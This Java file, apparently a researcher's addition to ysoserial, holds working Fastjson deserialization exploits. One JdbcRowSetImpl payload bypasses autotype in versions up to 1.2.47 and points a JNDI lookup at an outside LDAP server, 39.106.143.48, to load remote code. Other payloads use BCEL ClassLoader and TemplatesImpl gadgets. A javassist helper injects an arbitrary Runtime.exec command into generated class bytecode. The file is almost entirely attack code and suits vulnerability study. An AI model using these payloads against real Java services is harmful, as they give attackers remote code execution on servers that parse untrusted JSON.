package ysoserial.exploit.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

import org.apache.commons.codec.binary.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import com.sun.org.apache.bcel.internal.classfile.Utility;

import org.apache.commons.dbcp2.BasicDataSource;


/**
 * @ClassName: FastJsonExp
 * @Description: 参考http://www.code2sec.com/javafan-xu-lie-hua-lou-dong-xue-xi-shi-jian-qi-fastjsonfan-xu-lie-hua-pochui-zong.html 调试FastJson
 * @Author: angelwhu
 * @Create: 2019/05/11 15:53
 **/
public class FastJsonExp {

    public static void main(String[] args){
        FastJsonExp fastJsonExp = new FastJsonExp();
        fastJsonExp.exp1();
    }

    public Object exp1(){

        //JDK 8u121以后版本需要设置改系统变量. LDAP的方法可以使用，JDK 8u191之后,参考https://www.veracode.com/blog/research/exploiting-jndi-injections-java。
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //LADP
        //String payload1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.01:1389/Exploit\",\"autoCommit\":true}";
        //RMI
        //String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/ref\",\"autoCommit\":true}";

        // <=1.2.47 通杀，没有限制（绕过了auotype配置）
        String payload3 = "{\"e\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"f\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://39.106.143.48:1389/Object\",\"autoCommit\":true}}";

        //{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://39.106.143.48:1389/Object","autoCommit":true}};

        /**
         * POC 调用了com.sun.rowset.JdbcRowSetImpl构造函数和各种set、get函数，这里setAutoCommit是入口点。
         * JavaBeanDeserializer.deserialze -> FieldDeserializer.setValue -> 通过反射调用setAutoCommit方法给属性赋值 -> JNDI连接 @angelwhu
         */
        Object object = JSONObject.parseObject(payload3, User.class);
        //JSON.parse(payload2);
        return object;
    }

    /**
     * 依赖 commons-dbcp2 库~ 其余3个库都可以，需要引入。用来做db线程池的～ @angelwhu
     * org.apache.commons.dbcp2.BasicDataSource getConnection方法被调用  -> createConnectionFactory -> Class.forName(driverClassName, true, driverClassLoader);
     * @return
     */

    public String exp2() {
        //payload3:https://xz.aliyun.com/t/2272
        try {
//            String payload2 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
//          payload3 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
//          payload3 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.commons.dbcp.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
            String payload2 = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"c\":{\"@type\":\"org.apache.commons.dbcp2.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"xxxxxxxxxx\"}}:\"ddd\"}";
            byte[] bytecode = EvilClassGenerator.create("/Applications/Calculator.app/Contents/MacOS/Calculator");
            String classname = Utility.encode(bytecode,true);
            //System.out.println(classname);
            classname = "org.apache.log4j.spi$$BCEL$$"+classname;
            payload2 = payload2.replace("xxxxxxxxxx", classname);

//          ClassLoader cls = new com.sun.org.apache.bcel.internal.util.ClassLoader();
//          Class.forName(classname, true, cls);
            JSONObject.parseObject(payload2);
            return payload2;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    public String exp3() {
        try {
            //主要的限制还是在1点: 允许私有属性的序列化操作。Feature.SupportNonPublicField @angelwhu

            //http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
            String payload3 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"xxxxxxxxxx\"], \"_name\": \"1111\", \"_tfactory\": { }, \"_outputProperties\":{ }}";
            byte[] bytecode1 = Gadget.createEvilBytecode("/Applications/Calculator.app/Contents/MacOS/Calculator");
            String className = TemplatesImpl.class.getName();//com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
            payload3 = payload3.replace("xxxxxxxxxx", Base64.encodeBase64String(bytecode1));

            System.out.println(payload3);
            ParserConfig config = new ParserConfig();
            Object obj = JSON.parseObject(payload3, Object.class, config, Feature.SupportNonPublicField);

            return payload3;
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

}

class Gadget {

    public static class evil extends AbstractTranslet{
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
    }

    static byte[] createEvilBytecode(final String command) throws Exception {
        ClassPool classPool = ClassPool.getDefault();

        // 获取class
        System.out.println("ClassName: " + evil.class.getName());
        final CtClass clazz = classPool.get(evil.class.getName());

        // 插入静态代码块，在代码末尾。
        clazz.makeClassInitializer().insertAfter(
                "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"
        );
        clazz.setName("evilxxx");//类的名称，可以通过它修改。

        clazz.writeFile("/tmp");//将生成的.class文件保存到磁盘
        // 获取bytecodes
        final byte[] classBytes = clazz.toBytecode();
        return classBytes;
    }
}
